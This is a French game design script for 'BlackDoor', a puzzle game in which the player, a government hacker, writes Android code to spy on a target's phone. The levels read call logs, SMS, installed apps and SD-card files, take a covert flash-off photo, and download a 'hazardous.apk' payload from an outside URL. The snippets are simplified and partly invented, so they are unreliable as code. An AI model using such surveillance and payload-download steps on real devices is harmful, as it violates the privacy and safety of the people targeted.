BlackDoor

# Teasing

Vous incarnez un hackeur à la solde de votre gouvernement. Cette fois-ci, il semble que la mission qui vous est confiée est préoccupante.

# Déroulement du jeu

Le joueur incarne un hackeur au service de son gouvernement. En début de partie le joueur n’a quasiment aucune précision sur le contexte Géo-politique et son l’histoire. Il est simplement en relation avec un individu nommé Gunter1 qui lui transmet des directives concernant une mission de sécurité nationale. Gunter1 demande au joueur d’espionner le téléphone d’une cible en récupérant certaines informations précises comme les SMS, des captures d’écrans, des positions GPS, etc… Le joueur aura donc accès à certaines informations qu’il pourra choisir de transmettre ou non à Gunter1. Le joueur aura donc le choix de réussir la mission ou alors de se ranger du côté de la cible en sabotant le travail de Gunter.

# A Savoir

1- Chaque exercice dispose, en plus d’une question détaillée, de deux indices :

- Le premier est un indice textuel, guidant l’utilisateur via une phrase clef (l’orientant vers certaines fonctions de la classe, ou l’aidant à démarrer l’exercice)

- Le second sera un « joker » de type « 50-50 » dans une fameuse émission télé, c’est à dire qu’une partie des blocs de réponses faux vont se supprimer.

2- Les blocs solutions faux sont choisis alétoirement parmi une liste, pour que l’utilisateur ne puisse pas essayer toutes les combinaisons possibles. Ainsi, l’ensemble des blocs solutions est suceptible de changer au bout d’un certains temps / nombre de tentatives.

# Script

**System**

« Vous êtes un brillant hacker au service de votre gouvernement depuis quelques mois. Vous recevez toutes vos directives de Gunter1. Vous ne l’avez jamais rencontré mais il connait vraisemblablement beaucoup de choses sur vous. »

*\*Affichage de la fenêtre de dialogue\**

**Gunter1**

« Il y’a pas mal d’agitation ici. Nous sommes sur la piste d’un terroriste actif et avec toutes mes félicitations c’est toi qui es en charge de sa surveillance. L’équipe sur le terrain a installé un logiciel espion sur téléphone portable de la cible. Tu as aura donc un accès total à son terminal Android. Le temps est compté et tu sais que dans une affaire comme celle-ci ce sont des vies qui sont en jeu. D’après l’équipe technique, tu dois simplement écrire le code informatique, nous on se charge de le transférer sur le terminal de la cible. A partir de là c’est à toi du jouer. Ton environnement de travail devrait apparaitre d’une minute à l’autre.»

*\*Affichage du plateau de jeu\**

\*Niveau 1 : Faire vibrer le téléphone 100 ms\*

**Gunter1**

 « Bien, dans un premier temps on va tester si le virus fonctionne correctement. Je pense qu’on peut faire vibrer le téléphone de la cible dans un premier temps »

Vibrator v = (Vibrator) this.context.getSystemService(Context.VIBRATOR\_SERVICE);

v.vibrate(500);

INDICE – Il faut instancier un objet Vibrator avec la constante Context.VIBRATOR\_SERVICE pour pouvoir utiliser les fonctions de la classe Vibrator

\*Niveau 2 : Récupérer le numéro de téléphone du mobile\*

**Gunter1**

« Parfait ! L’équipe technique a vraiment fait un super boulot. On aimerait bien obtenir son numéro de téléphone pour voir s’il n’est pas en contact avec d’autres suspects. Tu peux nous obtenir ça ?»

TelephonyManager manager = TelephonyManager)getContext().getSystemService(Context.TELEPHONY\_SERVICE);

String mPhoneNumber = manager.getLine1Number();

**Output :** DATA : +896-85-42-62-67

INDICE – Après avoir instancier un objet TelephonyManager avec la constante Context.TELEPHONY\_SERVICE, il faut se tourner vers une fonction retournant un numéro de téléphone

**Gunter1**

« Beau travail, je transmet ça ! On verra bien ce qu’on va pouvoir en tirer. »

\*Exercice 3 : Récupérer la liste des applications sur le téléphone\*

**Gunter1**

« Bon, voyons un peu ce qu’il y’a sur ce téléphone. Est-ce que tu peux obtenir la liste des applications installées sur son terminal. On aura un bon point du vue sur les réseaux sociaux qu’il peut utiliser pour communiquer. »

final PackageManager pm = getPackageManager();

//get a list of installed apps.

List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET\_META\_DATA)

**Résultat:** { “com.sony.messages” : SMS },

{« com.google.call » : Appel },

{« com.facebook.app» : Facebook},

{« com.facebook.messanger.app : Messenger},

INDICE - Après avoir instancier un objet PackageManager, il faut obtenir la liste des APPLICATIONS et non de tous les PACKAGES

**Gunter1**

« Il semble actif sur de nombreux réseaux sociaux. Le numéro de téléphone n’a rien donné mais peut être qu’en le croisant avec les données des réseaux sociaux nous pourront retrouver facilement ses différents profils. »

*\*Exercice 4 : Obtenir les derniers appels\**

**Gunter1**

« Je ne veux pas te mettre la pression, mais le reste de l’équipe est très inquiète à propos de cet individu. Nous allons avoir besoin d’informations plus probantes.  Essaye d’obtenir la liste des derniers appels»

Cursor cursor = getContext().getContentResolver().query(“content://calls/lastCalls”);

INDICE – Il suffit de déclarer un curseur et de lancer une requete en se servant d’un URL concernant l’historique des appels

\*Niveau 5 : Télécharger un fichier\*

**Gunter1**

« Tu t’en sors très bien, cette liste nous sera très utile. Pour la suite des opérations nous aurons besoin d’injecter un virus beaucoup plus puissant. Ce virus se trouve à l’adresse <http://dropsnorz.com/hazardous.apk>, tu dois le télécharger sur le terminal de la cible. »

String uri = ”http://dropsnorz.com/hazardous.apk”;

DownloadManager.Request req=new DownloadManager.Request(uri);

req.setAllowedNetworkTypes(DownloadManager.Request.NETWORK\_MOBILE)

.setTitle("Demo")

.setDestinationInExternalPublicDir(Environment.DIRECTORY\_DOWNLOADS,

"ow.mp4");

INDICE –

\*Niveau 6: Prendre une photo avec l’appareil\*

**Gunter1**

« Avec ce nouveau virus beaucoup plus puissant nous allons pouvoir accéder à l’ensemble de son terminal. Si tu peux récupérer une prise de vue de manière discète depuis son appareil photo, et la nommer « photo1 », nous pourrions récolter des informations sur l’intérieur de sa planque. »

Camera cam = Context.getSystemService(BACK\_CAMERA);

cam.setFlashOff.takePicture(“photo1”);

INDICE – On veut une vue de l’extérieur, pas d’un selfie. Puis nous ne voulons pas nous faire repérer, il faut peut etre éviter d’utiliser le flash !

**Gunter1**

« Il est visiblement dans une zone en extérieur. C’est inquiétant car il est à découvert, s’il ne se cache pas c’est qu’il est peut être prêt à passer à l’action. Je vais avertir une équipe sur le terrain, nous n’avons pas beaucoup de temps si nous devons intervenir. »

\*Exercice 7 : Liste des messages\*

« La meilleure manière d’obtenir des informations est d’accéder à la liste des derniers messages reçus, est-ce que tu peux faire ça ? »

Cursor cursor = getContentResolver().query("content://sms/lastSms");

**Output :**

From : +896-39-15-77-16 <Pitt> To : +896-85-42-62-67<Norah>

« Ça ne fonctionne pas comme ça. Tu n’es pas toute seule dans cette histoire. J’espère que tu as conscience de ce que tu es en trains de faire. »

From : +896-39-15-77-16 <Bryan> To : +896-85-42-62-67<Norah>

« Je crois que le chien s’est encore sauvé, tu lui as donné à manger ce matin ? »

From : +896-85-42-62-67<Norah> To +899-54-23-31-56<???>

Content : « Nous devons faire attention, il s’agit d’une véritable bombe cette fois. »

From : +896-85-42-62-67<Norah> To +899-54-23-31-56<Myriam>

Content : « Pas de soucis merci, mais je préfère tout de même te l’envoyer.» Linked : article.txt

INDICE - Il suffit de déclarer un curseur et de lancer une requete en se servant d’un URL concernant l’historique des SMS

\*Exercice 8 : lire un fichier sur la carte SD\*

**Gunter1**

«  Cette conversation est inquiétante. Nos doutes se confirment. Les équipes techniques ont repérés un fichier non sécurisé « /log.txt » sur sa carte SD qui pourrait contenir des données intéressantes. Peux-tu récupérer le contenu ? »

StringBuilder contenu = new StringBuilder();

File sdcard = Environment.getExternalStorageDirectory();

File file = new File(sdcard,"a.txt");

contenu.copyFile(file);

INDICE – Il faut instancier la classe StringBuilder, stocker l’environnement dans une variable File, créer une référence vers le fichier dans une autre variable puis effectuer la copie de la variable vers le StringBuilder

* L’utilisateur consulte log.txt

Output : « »

* L’utilisateur consulte article.txt

/\* A PARTIR D’ICI, FULL CINEMATIQUE - DIALOGUE

Output « »

**Joueur : (au choix)**

* (l’utilisateur a consulté log.txt) Donner à Gunter1 le contenu du fichier log **(=>Branch1)**
* (l’utilisateur a consulté article.txt) Donner à Gunter1 le contenu du fichier article **(=>Branch2)**
* [Mentir] Le fichier log.txt est vide
* [Revenir à l’exercice…]

**(=>Branch1)** \*Le joueur a envoyé le contenu de log.txt ou a menti\*

**Gunter1**

« Nous pensons maintenant connaitre sa destination. Il nous faut ses coordonnées GPS pour pouvoir l’intercepter. C’est du très bon travail ! »

[Niveau 9 : Obtenir les coordonnées GPS]

**Moi :** (au choix)

* Donner à Gunter1 les coordonnées
* [Mentir] Donner à Gunter1 de fausses coordonées

**(=>Branch2)** \*Le joueur a envoyé le contenu de article.txt\*

[Niveau 9 : Ecrire un message sur le téléphone distant]

**Gunter1** \*Gunter is now disconnected…\*

«…»

Fin #1

La cible a été éliminée. Vous avez contribué à maintenir l’ordre dans votre nation. Félicitation.

[…]

Fin #2

Grace à vous Norah a pu prendre la fuite. Vous lui avez probablement sauvé la vie.

Fin #3

Grace à vous Norah a pu prendre la fuite. Vous n’avez pas eu autant de chance… Les hommes de Gunter vous ont rattrapé avant que vous n’ayez eu le temps de quitter votre immeuble. Par chance Mme Hudson, la concierge, sortait son chien à ce moment-là vous évitant ainsi un façe à façe dont l’issue aurait pu vous être fatale [….]